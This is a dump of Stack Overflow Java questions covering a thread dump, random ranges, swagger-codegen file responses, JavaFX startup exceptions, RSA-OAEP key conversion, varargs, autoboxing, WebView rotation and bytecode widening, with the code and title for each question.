at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1149 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:624 ) at java.lang.Thread.run ( Thread.java:748 ) '' pool-1-thread-5 '' # 14 prio=5 os_prio=0 tid=0x00007f0c8c2bd800 nid=0x4d56 waiting on condition [ 0x00007f0c4f5e5000 ] java.lang.Thread.State : WAITING ( parking ) at sun.misc.Unsafe.park ( Native Method ) - parking to wait for < 0x000000076e836958 > ( a java.util.concurrent.Phaser $ QNode ) at java.util.concurrent.locks.LockSupport.park ( LockSupport.java:175 ) at java.util.concurrent.Phaser $ QNode.block ( Phaser.java:1140 ) at java.util.concurrent.ForkJoinPool.managedBlock ( ForkJoinPool.java:3323 ) at java.util.concurrent.Phaser.internalAwaitAdvance ( Phaser.java:1067 ) at java.util.concurrent.Phaser.arriveAndAwaitAdvance ( Phaser.java:690 ) at Ant.call ( Ant.java:77 ) at Ant.call ( Ant.java:10 ) at java.util.concurrent.FutureTask.run ( FutureTask.java:266 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1149 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:624 ) at java.lang.Thread.run ( Thread.java:748 ) '' pool-1-thread-4 '' # 13 prio=5 os_prio=0 tid=0x00007f0c8c2bc000 nid=0x4d55 waiting on condition [ 0x00007f0c4f6e6000 ] java.lang.Thread.State : WAITING ( parking ) at sun.misc.Unsafe.park ( Native Method ) - parking to wait for < 0x000000076e4f4cf0 > ( a java.util.concurrent.Phaser $ QNode ) at java.util.concurrent.locks.LockSupport.park ( LockSupport.java:175 ) at java.util.concurrent.Phaser $ QNode.block ( Phaser.java:1140 ) at java.util.concurrent.ForkJoinPool.managedBlock ( ForkJoinPool.java:3323 ) at java.util.concurrent.Phaser.internalAwaitAdvance ( Phaser.java:1067 ) at java.util.concurrent.Phaser.arriveAndAwaitAdvance ( Phaser.java:690 ) at Ant.call ( Ant.java:77 ) at Ant.call ( Ant.java:10 ) at java.util.concurrent.FutureTask.run ( FutureTask.java:266 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1149 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:624 ) at java.lang.Thread.run ( Thread.java:748 ) '' pool-1-thread-3 '' # 12 prio=5 os_prio=0 tid=0x00007f0c8c2ba000 nid=0x4d54 waiting on condition [ 0x00007f0c4f7e7000 ] java.lang.Thread.State : WAITING ( parking ) at sun.misc.Unsafe.park ( Native Method ) - parking to wait for < 0x000000076e40abb8 > ( a java.util.concurrent.Phaser $ QNode ) at java.util.concurrent.locks.LockSupport.park ( LockSupport.java:175 ) at java.util.concurrent.Phaser $ QNode.block ( Phaser.java:1140 ) at java.util.concurrent.ForkJoinPool.managedBlock ( ForkJoinPool.java:3323 ) at java.util.concurrent.Phaser.internalAwaitAdvance ( Phaser.java:1067 ) at java.util.concurrent.Phaser.arriveAndAwaitAdvance ( Phaser.java:690 ) at Ant.call ( Ant.java:77 ) at Ant.call ( Ant.java:10 ) at java.util.concurrent.FutureTask.run ( FutureTask.java:266 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1149 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:624 ) at java.lang.Thread.run ( Thread.java:748 ) '' pool-1-thread-2 '' # 11 prio=5 os_prio=0 tid=0x00007f0c8c2b8800 nid=0x4d53 waiting on condition [ 0x00007f0c4f8e8000 ] java.lang.Thread.State : TIMED_WAITING ( parking ) at sun.misc.Unsafe.park ( Native Method ) - parking to wait for < 0x0000000775518738 > ( a java.util.concurrent.SynchronousQueue $ TransferStack ) at java.util.concurrent.locks.LockSupport.parkNanos ( LockSupport.java:215 ) at java.util.concurrent.SynchronousQueue $ TransferStack.awaitFulfill ( SynchronousQueue.java:460 ) at java.util.concurrent.SynchronousQueue $ TransferStack.transfer ( SynchronousQueue.java:362 ) at java.util.concurrent.SynchronousQueue.poll ( SynchronousQueue.java:941 ) at java.util.concurrent.ThreadPoolExecutor.getTask ( ThreadPoolExecutor.java:1073 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1134 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:624 ) at java.lang.Thread.run ( Thread.java:748 ) '' pool-1-thread-1 '' # 10 prio=5 os_prio=0 tid=0x00007f0c8c2b5800 nid=0x4d52 waiting on condition [ 0x00007f0c4f9e9000 ] java.lang.Thread.State : WAITING ( parking ) at sun.misc.Unsafe.park ( Native Method ) - parking to wait for < 0x000000076e486ab0 > ( a java.util.concurrent.Phaser $ QNode ) at java.util.concurrent.locks.LockSupport.park ( LockSupport.java:175 ) at java.util.concurrent.Phaser $ QNode.block ( Phaser.java:1140 ) at java.util.concurrent.ForkJoinPool.managedBlock ( ForkJoinPool.java:3323 ) at java.util.concurrent.Phaser.internalAwaitAdvance ( Phaser.java:1067 ) at java.util.concurrent.Phaser.arriveAndAwaitAdvance ( Phaser.java:690 ) at Ant.call ( Ant.java:77 ) at Ant.call ( Ant.java:10 ) at java.util.concurrent.FutureTask.run ( FutureTask.java:266 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1149 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:624 ) at java.lang.Thread.run ( Thread.java:748 ) '' Service Thread '' # 9 daemon prio=9 os_prio=0 tid=0x00007f0c8c200800 nid=0x4d50 runnable [ 0x0000000000000000 ] java.lang.Thread.State : RUNNABLE '' C1 CompilerThread2 '' # 8 daemon prio=9 os_prio=0 tid=0x00007f0c8c1fd800 nid=0x4d4f waiting on condition [ 0x0000000000000000 ] java.lang.Thread.State : RUNNABLE '' C2 CompilerThread1 '' # 7 daemon prio=9 os_prio=0 tid=0x00007f0c8c1f8800 nid=0x4d4e waiting on condition [ 0x0000000000000000 ] java.lang.Thread.State : RUNNABLE '' C2 CompilerThread0 '' # 6 daemon prio=9 os_prio=0 tid=0x00007f0c8c1f7800 nid=0x4d4d waiting on condition [ 0x0000000000000000 ] java.lang.Thread.State : RUNNABLE '' Monitor Ctrl-Break '' # 5 daemon prio=5 os_prio=0 tid=0x00007f0c8c1fb000 nid=0x4d4c runnable [ 0x00007f0c781b4000 ] java.lang.Thread.State : RUNNABLE at java.net.SocketInputStream.socketRead0 ( Native Method ) at java.net.SocketInputStream.socketRead ( SocketInputStream.java:116 ) at java.net.SocketInputStream.read ( SocketInputStream.java:171 ) at java.net.SocketInputStream.read ( SocketInputStream.java:141 ) at sun.nio.cs.StreamDecoder.readBytes ( StreamDecoder.java:284 ) at sun.nio.cs.StreamDecoder.implRead ( StreamDecoder.java:326 ) at sun.nio.cs.StreamDecoder.read ( StreamDecoder.java:178 ) - locked < 0x000000077550ecb0 > ( a java.io.InputStreamReader ) at java.io.InputStreamReader.read ( InputStreamReader.java:184 ) at java.io.BufferedReader.fill ( BufferedReader.java:161 ) at java.io.BufferedReader.readLine ( BufferedReader.java:324 ) - locked < 0x000000077550ecb0 > ( a java.io.InputStreamReader ) at java.io.BufferedReader.readLine ( BufferedReader.java:389 ) at com.intellij.rt.execution.application.AppMainV2 $ 1.run ( AppMainV2.java:64 ) '' Signal Dispatcher '' # 4 daemon prio=9 os_prio=0 tid=0x00007f0c8c181000 nid=0x4d49 runnable [ 0x0000000000000000 ] java.lang.Thread.State : RUNNABLE '' Finalizer '' # 3 daemon prio=8 os_prio=0 tid=0x00007f0c8c14d800 nid=0x4d42 in Object.wait ( ) [ 0x00007f0c78564000 ] java.lang.Thread.State : WAITING ( on object monitor ) at java.lang.Object.wait ( Native Method ) - waiting on < 0x0000000775500d08 > ( a java.lang.ref.ReferenceQueue $ Lock ) at java.lang.ref.ReferenceQueue.remove ( ReferenceQueue.java:143 ) - locked < 0x0000000775500d08 > ( a java.lang.ref.ReferenceQueue $ Lock ) at java.lang.ref.ReferenceQueue.remove ( ReferenceQueue.java:164 ) at java.lang.ref.Finalizer $ FinalizerThread.run ( Finalizer.java:209 ) '' Reference Handler '' # 2 daemon prio=10 os_prio=0 tid=0x00007f0c8c149000 nid=0x4d41 in Object.wait ( ) [ 0x00007f0c78665000 ] java.lang.Thread.State : WAITING ( on object monitor ) at java.lang.Object.wait ( Native Method ) - waiting on < 0x0000000775500d48 > ( a java.lang.ref.Reference $ Lock ) at java.lang.Object.wait ( Object.java:502 ) at java.lang.ref.Reference.tryHandlePending ( Reference.java:191 ) - locked < 0x0000000775500d48 > ( a java.lang.ref.Reference $ Lock ) at java.lang.ref.Reference $ ReferenceHandler.run ( Reference.java:153 ) '' main '' # 1 prio=5 os_prio=0 tid=0x00007f0c8c00c800 nid=0x4d35 waiting on condition [ 0x00007f0c91f77000 ] java.lang.Thread.State : WAITING ( parking ) at sun.misc.Unsafe.park ( Native Method ) - parking to wait for < 0x000000076dd5e268 > ( a java.util.concurrent.FutureTask ) at java.util.concurrent.locks.LockSupport.park ( LockSupport.java:175 ) at java.util.concurrent.FutureTask.awaitDone ( FutureTask.java:429 ) at java.util.concurrent.FutureTask.get ( FutureTask.java:191 ) at java.util.concurrent.AbstractExecutorService.invokeAll ( AbstractExecutorService.java:244 ) at ConcurrentACS.loop ( ConcurrentACS.java:138 ) at ConcurrentACS.compute ( ConcurrentACS.java:165 ) at ConcurrentACS.main ( ConcurrentACS.java:192 ) '' VM Thread '' os_prio=0 tid=0x00007f0c8c141800 nid=0x4d3f runnable `` GC task thread # 0 ( ParallelGC ) '' os_prio=0 tid=0x00007f0c8c022000 nid=0x4d37 runnable `` GC task thread # 1 ( ParallelGC ) '' os_prio=0 tid=0x00007f0c8c024000 nid=0x4d38 runnable `` GC task thread # 2 ( ParallelGC ) '' os_prio=0 tid=0x00007f0c8c025800 nid=0x4d39 runnable `` GC task thread # 3 ( ParallelGC ) '' os_prio=0 tid=0x00007f0c8c027800 nid=0x4d3a runnable `` VM Periodic Task Thread '' os_prio=0 tid=0x00007f0c8c205800 nid=0x4d51 waiting on condition JNI global references : 272",is it possible for ` ConcurrentHashMap ` to hang ? +Java,"This is generating numbers between [ 0 , 2 ] to the thousandth decimal which is what I want , I just also need negative number so the range of numbers generated is between [ -2 , 2 ] .",x = rd.nextInt ( ( 4000 ) - 2000 ) / 1000.0 ;,"Generate Random X.XXX numbers between [ -2 , 2 ]" +Java,"I am using swagger-codegen-maven-plugin to generate Spring interface from OpenAPI file ( OpenAPI 3.0.2 ) The response of one rest API should be PDF fileGenerated Java REST interface then contains the following methodFile class represents the path to the filesystem , but I do n't have the file on the filesystem , just bytes in java memory and I do n't want to save them as the file to disk.I want getContract to return some StreamResource or some other representation of file from Stream/bytes in memory . Is it possible this via swagger-codegen-maven-plugin or some other option ?","< groupId > io.swagger.codegen.v3 < /groupId > < artifactId > swagger-codegen-maven-plugin < /artifactId > < version > 3.0.14 < /version > components : schemas : contractFile : type : string format : binary default ResponseEntity < File > getContract ( @ ApiParam ( value = `` File to download '' , required=true ) @ PathVariable ( `` uid '' ) String uid ) { ... }",Swagger codegen to Java Spring generates incorrect file response entity from OpenAPI component of binary format +Java,What is the difference between those two . Why does the latter create a new serializable class ? creates a new empty ArrayListEclipse shows : The serializable class does not declare a static final serialVersionUID field of type long,new ArrayList < Clazz > ( ) new ArrayList < Clazz > ( ) { },Difference between ArrayList < > ( ) and ArrayList < > ( ) { } +Java,"I 'm not supposed to know what 's the type of the parameter o in the method . How can I then cast it in an Object [ ] array ? instanceof ca n't be a solution since the parameter can be an array of any type.PS : I 've seen several questions on SO dealing with array casting , but no one ( yet ? ) where you do n't know the type of the array .","public static void main ( String [ ] args ) throws Exception { int [ ] a = new int [ ] { 1 , 2 , 3 } ; method ( a ) ; } public static void method ( Object o ) { if ( o ! = null & & o.getClass ( ) .isArray ( ) ) { Object [ ] a = ( Object [ ] ) o ; // java.lang.ClassCastException : [ I can not be cast to [ Ljava.lang.Object ; } }",Cast an object to an array +Java,"Every JavaFX application I 've run throws two NullPointerExceptions . They do n't prevent or even affect the execution of the projects , and I can only see them if I run my applications in debug mode . I 'm even having this issue with the HelloWorld sample from Oracle and this minimal program : Here is the stack trace of the first error : And here is the second : What 's more , if I remove any instance of iAmRoot and scene ( so start ( ) just reads primaryStage.show ( ) ; ) , the second error does n't occur . Why is this happening ? I 've been able to find this question before ( JavaFX application throws NullPointerException at startup ) , but noone seems to have resolved it , and it was asked over 2 years ago.If it helps , I 'm running Eclipse 4.5.2 on Windows 7 Professional , and I do n't think I 'm using FXML at all.EDIT : for what it 's worth , I ca n't find the source code for the second error , but I found JavaFX 's code for the method which throws the first error ( line 81 ) :","public class JavaFXTSample extends Application { @ Override public void start ( Stage primaryStage ) throws Exception { StackPane iAmRoot = new StackPane ( ) ; Scene scene = new Scene ( iAmRoot , 300 , 250 ) ; primaryStage.setScene ( scene ) ; primaryStage.show ( ) ; } public static void main ( String [ ] args ) { launch ( args ) ; } } Thread [ main ] ( Suspended ( exception NullPointerException ) ) SystemProperties.setVersions ( ) line : 81 [ local variables unavailable ] SystemProperties.lambda $ static $ 28 ( ) line : 67 30621981.run ( ) line : not available AccessController.doPrivileged ( PrivilegedAction < T > ) line : not available [ native method ] SystemProperties. < clinit > ( ) line : 64 LauncherImpl.startToolkit ( ) line : 668 LauncherImpl.launchApplicationWithArgs ( String , String , String [ ] ) line : 337 LauncherImpl.launchApplication ( String , String , String [ ] ) line : 328 NativeMethodAccessorImpl.invoke0 ( Method , Object , Object [ ] ) line : not available [ native method ] NativeMethodAccessorImpl.invoke ( Object , Object [ ] ) line : not available DelegatingMethodAccessorImpl.invoke ( Object , Object [ ] ) line : not available Method.invoke ( Object , Object ... ) line : not available LauncherHelper $ FXHelper.main ( String ... ) line : not available Thread [ JavaFX Application Thread ] ( Suspended ( exception NullPointerException ) ) PropertyHelper.lambda $ getBooleanProperty $ 514 ( String ) line : 39 7164036.run ( ) line : not available AccessController.doPrivileged ( PrivilegedAction < T > ) line : not available [ native method ] PropertyHelper.getBooleanProperty ( String ) line : 37 Parent. < clinit > ( ) line : 87 JavaFXTSample.start ( Stage ) line : 16 LauncherImpl.lambda $ launchApplication1 $ 162 ( AtomicBoolean , Application ) line : 863 2266602.run ( ) line : not available PlatformImpl.lambda $ runAndWait $ 175 ( Runnable , CountDownLatch ) line : 326 32251660.run ( ) line : not available PlatformImpl.lambda $ null $ 173 ( Runnable ) line : 295 11305869.run ( ) line : not available AccessController.doPrivileged ( PrivilegedAction < T > , AccessControlContext ) line : not available [ native method ] PlatformImpl.lambda $ runLater $ 174 ( Runnable , AccessControlContext ) line : 294 30052382.run ( ) line : not available InvokeLaterDispatcher $ Future.run ( ) line : 95 WinApplication._runLoop ( Runnable ) line : not available [ native method ] WinApplication.lambda $ null $ 148 ( int , Runnable ) line : 191 32126786.run ( ) line : not available Thread.run ( ) line : not available 58 private static final String versionResourceName =59 `` /com/sun/javafx/runtime/resources/version.properties '' ; ... 78 private static void setVersions ( ) { 79 int size ; 80 InputStream is =81 SystemProperties.class.getResourceAsStream ( versionResourceName ) ; 82 try { 83 size = is.available ( ) ; 84 85 byte [ ] b = new byte [ size ] ; 86 int n = is.read ( b ) ; 87 String inStr = new String ( b , `` utf-8 '' ) ; 88 SystemProperties.setFXProperty ( `` javafx.version '' ,89 getValue ( inStr , `` release= '' ) ) ; 90 91 SystemProperties.setFXProperty ( `` javafx.runtime.version '' ,92 getValue ( inStr , `` full= '' ) ) ; 93 94 } catch ( Exception ignore ) { 95 } 96 }",JavaFX applications throw NullPointerExceptions but run anyway +Java,I have public key and private key as string which are generated from Webcrypto API RSA-OAEP algorithm . I want to encrypt and decrypt some plain text by using those and getting exception when trying to convert string to byte arrayJava code : Exception : Exception in thread `` main '' java.lang.IllegalArgumentException : Illegal base64 character 7b at java.util.Base64 $ Decoder.decode0 ( Base64.java:714 ) at java.util.Base64 $ Decoder.decode ( Base64.java:526 ) at java.util.Base64 $ Decoder.decode ( Base64.java:549 ) at mailsend.RsaOaep.main ( RsaOaep.java:30 ),"package mailsend ; import java.security.KeyFactory ; import java.security.PrivateKey ; import java.security.PublicKey ; import java.security.SecureRandom ; import java.security.Security ; import java.security.spec.X509EncodedKeySpec ; import java.util.Base64 ; import javax.crypto.Cipher ; public class RsaOaep { public static void main ( String [ ] args ) throws Exception { Security.addProvider ( new org.bouncycastle.jce.provider.BouncyCastleProvider ( ) ) ; //Encryption byte [ ] input = `` { \ '' userid\ '' : \ '' 1242\ '' , \ '' appid\ '' : \ '' 1234\ '' , \ '' tenentid\ '' : \ '' 4567\ '' , \ '' sessionid\ '' : \ '' session1234567\ '' } '' .getBytes ( ) ; Cipher cipher = Cipher.getInstance ( `` RSA/None/OAEPWithSHA1AndMGF1Padding '' , `` BC '' ) ; SecureRandom random = new SecureRandom ( ) ; String publicKey= '' { \n '' + `` \ '' alg\ '' : \ '' RSA-OAEP-256\ '' , \n '' + `` \ '' e\ '' : \ '' AQAB\ '' , \n '' + `` \ '' ext\ '' : true , \n '' + `` \ '' key_ops\ '' : [ \n '' + `` \ '' encrypt\ '' \n '' + `` ] , \n '' + `` \ '' kty\ '' : \ '' RSA\ '' , \n '' + `` \ '' n\ '' : \ '' uChD48P6OBCynflLVsuP51hExmS7JIJmSPe6g_RYeb-O8rbaJA6mJE7QsMBeCrBUeyjhFYOFkGV9tpu3xIMkuRmTiyqy_mP2DKo8x9RB0gGVRvDuFjyOb3qpTAEA1SGyo_jGwN3RmVAVzVOTAAHqgQpRHtUsFEpQImUJgOUGVAfyFYpyyJKypcRv-RIU2JxOg3w7-i53erZPMHq_eWzEEXOgAU49UPjlTV18bXklBKSy3sbhKDpvHvOh_rEufhtD1Jl5RAQz3o8GGWPmcSf_3h5xa5ppqcgx6cfHDY9KKgxgCScwtjzTqU_QJO_zRnf3kYFU4dIFkfpXOJDDJc6RwQ\ '' \n '' + `` } '' ; byte [ ] keyBytes = Base64.getDecoder ( ) .decode ( publicKey ) ; PublicKey publicKeyNew = KeyFactory.getInstance ( `` RSA '' , `` BC '' ) .generatePublic ( new X509EncodedKeySpec ( keyBytes ) ) ; cipher.init ( Cipher.ENCRYPT_MODE , publicKeyNew , random ) ; byte [ ] cipherText = cipher.doFinal ( input ) ; System.out.println ( `` cipher : `` + new String ( cipherText ) ) ; //Decryption String privateKey= '' { \n '' + `` \ '' alg\ '' : \ '' RSA-OAEP-256\ '' , \n '' + `` \ '' d\ '' : \ '' FZO8Lp_r_a0xLHLE6cjElePg_QjY54Ry1RpXi3Xx9uPjrRsREJf5zffBGnCTpDd4Uozd4I4uNFa75c01eSwvfZOaVrw8SDOwpNe-cuBzDNbcJXl9v_O88aFi3DGi5hYCbxVrPjZPRGIeh9YCu4W98vwhOJZcCY2SeZEyjZxoAyjOmsvvylpUVN2ZVJ22lDOaBJMerPdwyXFv9wsUserFleZByk-M8WLz5JiT3MIg6NuMiMryx3-lhcHCBXgHJMeuxrdnPc_acer3WNkgWf5Q4LkTu9TT_Uz4kULtPvdbccv3-JyE0x4ZjCfiAmT65vUM5WvmCE6MZseR3WONIxmh0Q\ '' , \n '' + `` \ '' dp\ '' : \ '' FdzMUisoeG6Kk4C7Ol7k3QqR6QKa18LsMVIQXruQ7Vxm4bJ0lo8WyHWhLy4n11JLs7OGFENyXu7NtXw0ezmolfKIJVlItxWofICm8wm3Rhljrxe9KJnp1V4L1ibCXLOXOLsqhUwesWOhjAkfTHWJf3-wslSxVtFbif3fjeaKHlk\ '' , \n '' + `` \ '' dq\ '' : \ '' YTfHIEIOYiJ9AW_r3R8ou69ApwyzFNqczSeVooMKvKTYrpdj4ms6MeW5uL8Pq9HKFr8AFA2FWtOvrHrxShw_1V9IuvNChmPEF11RIO7CSc6xeK98zFtgqzbpJ81SKlcKh4icpaSjX3SQa7qbasgk9MBxK5gmpc5XZZNICDKfZ-E\ '' , \n '' + `` \ '' e\ '' : \ '' AQAB\ '' , \n '' + `` \ '' ext\ '' : true , \n '' + `` \ '' key_ops\ '' : [ \n '' + `` \ '' decrypt\ '' \n '' + `` ] , \n '' + `` \ '' kty\ '' : \ '' RSA\ '' , \n '' + `` \ '' n\ '' : \ '' uChD48P6OBCynflLVsuP51hExmS7JIJmSPe6g_RYeb-O8rbaJA6mJE7QsMBeCrBUeyjhFYOFkGV9tpu3xIMkuRmTiyqy_mP2DKo8x9RB0gGVRvDuFjyOb3qpTAEA1SGyo_jGwN3RmVAVzVOTAAHqgQpRHtUsFEpQImUJgOUGVAfyFYpyyJKypcRv-RIU2JxOg3w7-i53erZPMHq_eWzEEXOgAU49UPjlTV18bXklBKSy3sbhKDpvHvOh_rEufhtD1Jl5RAQz3o8GGWPmcSf_3h5xa5ppqcgx6cfHDY9KKgxgCScwtjzTqU_QJO_zRnf3kYFU4dIFkfpXOJDDJc6RwQ\ '' , \n '' + `` \ '' p\ '' : \ '' _8_ViZjqi4qU0jdt4dbrv81-FYFjJ0A3CpHhOwDxvIHRBMTS188_SEe-CZFwF91myv3AF9ZA64gYscr6t765F3-R7ydygryQWOedE-meRZhUHw3E3y-w_Khvtv0k3DW_NBO1-i3MDi8HV-xoSED9_ZYP6B0N05sBeoLhr76MuVk\ '' , \n '' + `` \ '' q\ '' : \ '' uErwgmSi7_t90oqKEED4Da8csEZVBN6_7n9xbZEk366lPf5rPETPbr8DKG-rA4kXq3l10ZksC-oo0RKdMpnqoHiYjmFPex1uLXJOAR_sg8ENtYtH-U6tNBjpoLufnbtg39O4bT7jr0HXx3MQmNy4rumfO97XypqIdKkrAODtJqk\ '' , \n '' + `` \ '' qi\ '' : \ '' brnAuBOvNKKdkwsI836lPNxmKqAMc-Jbtn7YmOu3ofq6PtiT5blJSGUJizMd1YDRHTLlQzWt1eqFZr_AjidGZ0QvYSj1jZT1hdpkIGn1M6oDDwh73mDC_Wqg5qtyFp6YudzWpSt5TG7m94pyPFx79wm1WedW53RVNQVdx3yOcBI\ '' \n '' + `` } '' ; byte [ ] keyBytesNew = Base64.getDecoder ( ) .decode ( privateKey ) ; PrivateKey privateKeyNew = KeyFactory.getInstance ( `` RSA '' , `` BC '' ) .generatePrivate ( new X509EncodedKeySpec ( keyBytesNew ) ) ; cipher.init ( Cipher.DECRYPT_MODE , privateKeyNew ) ; byte [ ] plainText = cipher.doFinal ( cipherText ) ; System.out.println ( `` plain : `` + new String ( plainText ) ) ; } }",Unable to convert a WebCrypto key pair to Java RSA keys +Java,"Please regard the following lines of code : The output of this code snippet is : And this confuses me quite a bit ! I do n't understand why in case of foo ( 1,2,3 ) the term bar instanceof Integer [ ] is false.If in these cases bar is not an instance of Integer [ ] what else is it an instance of ?","public static void main ( String [ ] args ) { foo ( 1,2,3 ) ; System.out.println ( `` -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - '' ) ; foo ( new Integer ( 1 ) , new Integer ( 2 ) , new Integer ( 3 ) ) ; System.out.println ( `` -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - '' ) ; foo ( new Integer [ ] { 1,2,3 } ) ; System.out.println ( `` -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - '' ) ; foo ( new Integer [ ] { new Integer ( 1 ) , new Integer ( 2 ) , new Integer ( 3 ) } ) ; } public static void foo ( Object ... bar ) { System.out.println ( `` bar instanceof Integer [ ] : \t '' + ( bar instanceof Integer [ ] ) ) ; System.out.println ( `` bar [ 0 ] instanceof Integer : \t '' + ( bar [ 0 ] instanceof Integer ) ) ; System.out.println ( `` bar.getClass ( ) .isArray ( ) : \t '' + bar.getClass ( ) .isArray ( ) ) ; } bar instanceof Integer [ ] : falsebar [ 0 ] instanceof Integer : truebar.getClass ( ) .isArray ( ) : true -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -bar instanceof Integer [ ] : falsebar [ 0 ] instanceof Integer : truebar.getClass ( ) .isArray ( ) : true -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -bar instanceof Integer [ ] : truebar [ 0 ] instanceof Integer : truebar.getClass ( ) .isArray ( ) : true -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -bar instanceof Integer [ ] : truebar [ 0 ] instanceof Integer : truebar.getClass ( ) .isArray ( ) : true","Why is foo ( 1,2,3 ) not passed to varargs method foo ( Object ... ) as an Integer [ ]" +Java,I have a small webView in one of my layouts that act as a news feed from my website.Every time I changed rotation it would reload the web page . so I edited the code to include a on config change and on restore state.Then adjusted my android manifest to include the config changes which from the dev site says to include orientation and screen size.This solves the problem of saving the state but in turn creates a new problem which is I have different size layouts for when its in landscape mode on certain devices . but with the manifest set how it is it overrides screen size . is there away to save the state but with out using screen size in my manifest . so then i could use my landscape layout here is my code for the orientation changes.then my manifest file has ive added a container an a web view fragment but now the view disappears when rotation is landscape . then disappears completly when i switch back . so i tried adding the save out state and savestate to it which loaded the webview when rotated to landscape but crashed the app when going back to portrait,"@ Overridepublic void onConfigurationChanged ( Configuration newConfig ) { super.onConfigurationChanged ( newConfig ) ; // Checks the orientation of the screen if ( newConfig.orientation == Configuration.ORIENTATION_LANDSCAPE ) { Toast.makeText ( this , `` landscape '' , Toast.LENGTH_SHORT ) .show ( ) ; } else if ( newConfig.orientation == Configuration.ORIENTATION_PORTRAIT ) { Toast.makeText ( this , `` portrait '' , Toast.LENGTH_SHORT ) .show ( ) ; } } @ Overridepublic void onCreate ( final Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; getWindow ( ) .setFlags ( WindowManager.LayoutParams.FLAG_FULLSCREEN , WindowManager.LayoutParams.FLAG_FULLSCREEN ) ; setContentView ( R.layout.activity_homescreen ) ; if ( savedInstanceState ! = null ) ( ( WebView ) findViewById ( R.id.neweview ) ) .restoreState ( savedInstanceState ) ; svHomeScreen = ( ScrollView ) findViewById ( R.id.svHomeScreen ) ; svHomeScreen.setScrollbarFadingEnabled ( false ) ; wv = ( WebView ) findViewById ( R.id.neweview ) ; wv.setScrollbarFadingEnabled ( false ) ; wv.getSettings ( ) .setJavaScriptEnabled ( true ) ; wv.setLayerType ( View.LAYER_TYPE_SOFTWARE , null ) ; wv.getSettings ( ) .setRenderPriority ( WebSettings.RenderPriority.NORMAL ) ; wv.getSettings ( ) .setLoadsImagesAutomatically ( true ) ; wv.getSettings ( ) .setCacheMode ( WebSettings.LOAD_DEFAULT ) ; if ( Build.VERSION.SDK_INT > = 19 ) { // chromium , enable hardware acceleration wv.setLayerType ( View.LAYER_TYPE_HARDWARE , null ) ; } else { // older android version , disable hardware acceleration wv.setLayerType ( View.LAYER_TYPE_SOFTWARE , null ) ; } wv.canGoBackOrForward ( 5 ) ; wv.getSettings ( ) .setLoadWithOverviewMode ( true ) ; wv.getSettings ( ) .setUseWideViewPort ( true ) ; wv.setScrollBarStyle ( View.SCROLLBARS_INSIDE_OVERLAY ) ; wv.setPadding ( 0 , 0 , 0 , 0 ) ; wv.loadUrl ( NEWS ) ; < activity android : name= '' .Homescreen '' android : label= '' @ string/title_activity_homescreen '' android : configChanges= '' keyboard|keyboardHidden|orientation|screenSize '' / >",how can i save the state of my webview when changing orientation using a webviewfragment +Java,"I used to think Java supports both pass by value and passby reference but i came accross many discussions likeJava is always pass by value , with no exceptions , ever .Java is always pass-by-valueJava always passes arguments by value NOT by reference.Java passes references by value.So you ca n't change the reference that gets passed in.If java only supports pass by value how does java.util.Array.sort ( ) or Collections.sort ( unsortList ) work ? Update : What passing a reference ( by value ) Actually mean ? How does it differ from passing by reference behaviour of Arrays in C or C++ ? Update : Please correct me if I am wrong . In C we pass the address of variables when passing by reference.In Java we pass the reference to the object ( or value ) .As long as the variable in the method is pointing to the Object the value of the object changes with the varible in the method invoked . There is no copy of Object or reference made ! , I could see only 2 different variables pointing to the same Object as in pass by reference.Similar in C++ pass by reference two different variables points to the same address .","int iArr [ ] = { 2 , 1 , 9 , 6 , 4 } ; // sorting arrayArrays.sort ( iArr ) ; System.out.println ( `` The sorted int array is : '' ) ; for ( int number : iArr ) { System.out.println ( `` Number = `` + number ) ; }",Can we use pass by reference in java ? If No How does java.util.Arrays.sort works ? +Java,"In the program below , the result is that 0.0 is considered less than Double.MIN_VALUE . Why ? We have a solution ( work with Doubles only and use compareTo ) and I want to understand why unboxing is failing here .",import java.util.Date ; import java.util.Calendar ; import java.math.BigDecimal ; public class Test { public static void main ( String [ ] args ) { double max = 99999.9999 ; double min = Double.MIN_VALUE ; Double test = 0.0 ; System.out.println ( max > test ) ; // expect true ; is true System.out.println ( test > min ) ; // expect true ; is false } },Why is autoboxing/unboxing failing here ? +Java,"java code : , replaces in bytecodes withWhy jvm does that expansion , and not use byte & short ? Also when i open bytecode of my fileEDIT : short var = 14 is replaced by bipush 14 rather than sipush 14Is my understanding is not clear or is there a bug ? I am using following version","byte a_b = 12 ; short c_d = 14 bipush 12 // expands byte1 ( a byte type ) to an int and pushes it onto the stacksipush 14 // expands byte1 , byte2 ( a short type ) to an int and pushes it onto the stack java version `` 1.6.0_26 '' Java ( TM ) SE Runtime Environment ( build 1.6.0_26-b03 ) Java HotSpot ( TM ) Client VM ( build 20.1-b02 , mixed mode , sharing )",Why jvm expands byte & short to int before pushing on stack ? +Java,this produces error ... why overlaoding is not performed with both widening and boxing ? but overloading without vararg works finehere add ( long x ) will be executed that is widening beats boxing ... why not same concept withvar arguments,public void add ( long ... x ) { } public void add ( Integer ... x ) { } add ( 2 ) ; public void add ( long x ) { } public void add ( Integer x ) { } add ( 2 ) ;,overloading with both widening and boxing +Java,"Currently , I need a bound ( Music ) Service , because I need to interact with it . But I also want it 